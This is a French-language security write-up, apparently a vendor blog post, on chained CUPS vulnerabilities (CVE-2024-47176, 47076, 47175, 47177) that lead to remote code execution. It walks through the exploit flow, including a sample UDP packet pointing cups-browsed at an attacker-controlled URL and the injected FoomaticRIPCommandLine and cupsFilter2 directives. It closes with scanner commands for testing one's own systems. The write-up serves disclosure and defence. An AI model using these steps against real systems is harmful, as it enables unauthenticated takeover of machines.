Évaluer l'exposition à grande échelle des vulnérabilités de CUPS : des CVE chaînées menant à l'exécution de code à distance
Cet article évalue l'exposition à grande échelle des systèmes à plusieurs CVE affectant le service d'impression CUPS, qui peuvent être chaînées pour obtenir une exécution de code à distance (RCE) sans authentification. Nous expliquons comment ces vulnérabilités, dont la CVE-2024-47176, fonctionnent de concert, en détaillant le déroulement de l'exploit. Nous analysons aussi le nombre de systèmes potentiellement vulnérables et signalons un comportement singulier observé pendant les tests.
Introduction
Le Common UNIX Printing System (CUPS) est un système d'impression très répandu qui permet aux ordinateurs en réseau de gérer sans difficulté les travaux d'impression et les imprimantes. Récemment, le chercheur Simone Margaritelli a mené une recherche remarquable dans laquelle il a découvert plusieurs CVE qu'il a enchaînées avec succès pour obtenir une exécution de code à distance (RCE) sans authentification sur les systèmes cibles. Vous pouvez en lire davantage sur cette recherche dans l'article de Simone Margaritelli.
Dans cet article, nous décomposons le déroulement de l'exploit et analysons le pourcentage de systèmes vulnérables dans un échantillon de cibles donné.
Détails techniques
Obtenir une RCE dans CUPS :
Cette section présente les différentes étapes pour obtenir une exécution de code à distance (RCE) et explique le rôle de chaque CVE.
-
CVE-2024-47176 : point de départ :
cups-browsedet leBrowseSocket:L'attaque commence par le service
cups-browsed, chargé de découvrir les imprimantes sur le réseau et de les ajouter automatiquement au système .Le service crée un socket, appelé
BrowseSocket, qui écoute les paquets entrants contenant des informations sur les imprimantes surINADDR_ANY:631 UDP.
L'étape suivante consiste à identifier où le
BrowseSocketest utilisé. À l'examen, la fonctionprocess_browse_dataapparaît comme l'endroit clé.process_browse_data()est chargée de lire un paquet depuis leBrowseSocket. Elle attend que les données entrantes respectent un format précis :HEX_NUMBER HEX_NUMBER TEXT_DATAAprès avoir reçu le paquet, la fonction vérifie si l'adresse IP source est autorisée à envoyer des données. Cette vérification est réalisée par la fonctionallowed(), qui compare l'adresse IP au fichier de configuration situé dans/etc/cups/cups-browsed.conf. Ce fichier définit quels hôtes sont autorisés à se connecter et à envoyer des données.
Or, il se trouve que, même si l'on peut configurer qui peut ou ne peut pas se connecter en modifiant le fichier de configuration /etc/cups/cups-browsed.conf, la configuration par défaut de la plupart des systèmes est entièrement mise en commentaire. Cela signifie que, sauf si l'administrateur restreint explicitement l'accès, le système accepte les connexions de n'importe quelle adresse IP. Par conséquent, la vérification
allowed()réussit toujours, ce qui rend le système vulnérable à une exploitation potentielle depuis n'importe quelle source.Une fois la vérification de l'IP source réussie, le paquet est analysé et deux champs sont transmis à la fonction
found_cups_printer()pour un traitement ultérieur. -
CVE-2024-47076 : injection d'URI malveillante et exploitation :
L'un des deux champs extraits du paquet est l'URI de l'imprimante.

Suivi de l'utilisation de ce paramètre et de son passage d'une fonction à l'autre :
À partir de
found_cups_printer, l'URI est transmise à la fonctionexamine_discovered_printer_record(), qui la transmet àcreate_remote_printer_entry(). Cette séquence d'appels de fonctions aboutit finalement àcfGetPrinterAttributes()de la bibliothèquelibcupsfilters.
La fonction
cfGetPrinterAttributes()est chargée d'effectuer une requête HTTP vers l'URI d'imprimante fournie afin de récupérer les détails de l'imprimante.
À ce stade, un acteur malveillant peut envoyer au port 631 un paquet UDP spécialement forgé contenant une URI malveillante, par exemple :
0 3 http://<ATTACKER-IP>:<PORT>/printers/whateverCe paquet contourne la validation faible et amène
cups-browsedà se reconnecter à l'URL contrôlée par l'attaquant.
-
CVE-2024-47175 : attributs IPP malveillants de l'attaquant et création du fichier PPD :
Une fois que le serveur de l'attaquant envoie une réponse contenant des attributs IPP forgés, conçus pour imiter les capacités d'une imprimante légitime,
cups-browsedtraite ces attributs. Il le fait en invoquant la fonctioncreate_queue(), qui appelle à son tour l'APIppdCreatePPDFromIPP2()de la bibliothèquelibppd. Cette API est chargée de créer un fichier PPD (PostScript Printer Description) temporaire, dans lequel sont stockés les attributs reçus.Un fichier PostScript Printer Description est un fichier texte fourni par les fabricants d'imprimantes, qui décrit l'ensemble des fonctionnalités et des capacités disponibles pour une imprimante PostScript donnée. Ces fichiers remplissent plusieurs fonctions :
- Ils définissent comment invoquer les fonctionnalités pour les travaux d'impression, notamment les résolutions, les formats de papier et les fonctions spéciales prises en charge par l'imprimante (par exemple l'impression recto verso).
- Le PPD joue le rôle de pilote pour les imprimantes PostScript en offrant au système CUPS un moyen standardisé d'interagir avec différentes imprimantes, quel que soit le fabricant.
- Le PPD contient aussi le code PostScript (les commandes) utilisé pour invoquer les fonctionnalités d'un travail d'impression.


La fonction
ppdCreatePPDFromIPP2()écrit directement dans le fichier PPD les attributs IPP contrôlés par l'attaquant, sans aucun assainissement.
-
CVE-2024-47177 : exploitation des filtres CUPS :
Maintenant que nous pouvons définir des attributs enregistrés dans le fichier PPD, nous pouvons ordonner à CUPS d'exécuter certaines commandes lors du traitement des travaux d'impression.
CUPS prend en charge diverses instructions via ces attributs, dont une exploitable :
cupsFilter2.Un filtre est un exécutable situé dans le répertoire
/usr/lib/cups/filter. CUPS limite l'exécution des filtres à ce répertoire, ce qui signifie qu'on ne peut pas indiquer n'importe quel binaire. Ces filtres sont exécutés lorsqu'un travail d'impression est envoyé à l'imprimante, généralement pour convertir le document si l'imprimante ne prend pas en charge nativement son format.Compte tenu de cette contrainte sur les binaires exécutables, l'objectif est d'exploiter l'un des filtres existants pour exécuter des commandes arbitraires.
Exploitation du filtre
foomatic-rip:Heureusement pour les attaquants, un filtre,
foomatic-rip, était encore vulnérable à une ancienne faille d'exécution de commandes,CVE-2011-2964etCVE-2011-2697. Ce filtre acceptait la directiveFoomaticRIPCommandLinedans le fichier PPD, ce qui permettait d'exécuter N'IMPORTE QUELLE commande par ce biais.En exploitant cette vulnérabilité, un attaquant peut injecter la directive
FoomaticRIPCommandLinedans le fichier PPD, ce qui conduit CUPS à exécuter des commandes arbitraires pendant le traitement du travail d'impression.Pour mener l'attaque, les étapes suivantes sont nécessaires :
- Forcer la machine cible à se connecter à un serveur IPP malveillant : la première étape consiste à amener la machine cible à communiquer avec un serveur IPP malveillant que vous contrôlez.
- Renvoyer une chaîne d'attributs IPP malveillante :
- Injecter un attribut
printer-privacy-policy-uriavec une fausse URL de politique comme"https://www.example.com/", suivie d'un saut de ligne pour terminer la chaîne. - Ajouter une directive
FoomaticRIPCommandLine: "COMMAND"pour exécuter une commande sur la machine cible. - Inclure une directive
cupsFilter2:"application/pdf application/vnd.cups-postscript 0 foomatic-rip", qui garantit que, lorsqu'un travail d'impression est envoyé, il déclenche l'exécution du filtrefoomatic-ripavec la commande injectée.
- Injecter un attribut
- Déclencher l'exécution : une fois qu'un travail d'impression est envoyé à l'imprimante malveillante, les directives PPD injectées sont exécutées, ce qui achève l'attaque.
Évaluation à grande échelle de la vulnérabilité de CUPS : détection et analyse :
Avant de mener notre évaluation à grande échelle, nous avons d'abord cherché à identifier le service CUPS par son empreinte via son port UDP, plus précisément celui ouvert par BrowseSocket. Ce socket écoute sur INADDR_ANY:631 UDP, et nous pensions qu'il nous permettrait d'identifier les systèmes exécutant CUPS en envoyant des requêtes à ce port. Cependant, pendant les tests, que ce soit manuellement ou avec des outils comme Nmap, nous n'avons obtenu aucune réponse du serveur CUPS.
Pour comprendre pourquoi nous ne recevions aucune réponse, nous avons examiné le code source de CUPS, en nous concentrant sur les fonctions qui renvoient des données aux clients. Au cours de cette recherche, nous avons identifié la fonction sendto, qui sert à envoyer les réponses.
Nous avons recherché la fonction sendto, qui est chargée d'envoyer les réponses.

broadcast_browse_packets, appelée par send_browse_data.

send_browse_data est appelée dans la fonction principale mais seulement si une condition précise est remplie : if (BrowseLocalProtocols & BROWSE_CUPS).

BrowseLocalProtocols, nous avons constaté qu'elle était définie sur none, ce qui signifie que la condition n'est jamais satisfaite. Cela explique pourquoi aucune réponse n'a été envoyée à nos tentatives d'identification par UDP.


Tester la vulnérabilité avec OXO
Si vous craignez que votre instance soit vulnérable, suivez ces étapes pour exécuter un test avec l'outil OXO :
Installez OXO via pip :
pip install -U ostorlab
Installez l'agent asteroid depuis l'agent store d'OXO :
oxo agent install agent/ostorlab/asteroid
Lancez le scan avec l'agent asteroid à l'aide de la commande suivante :
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET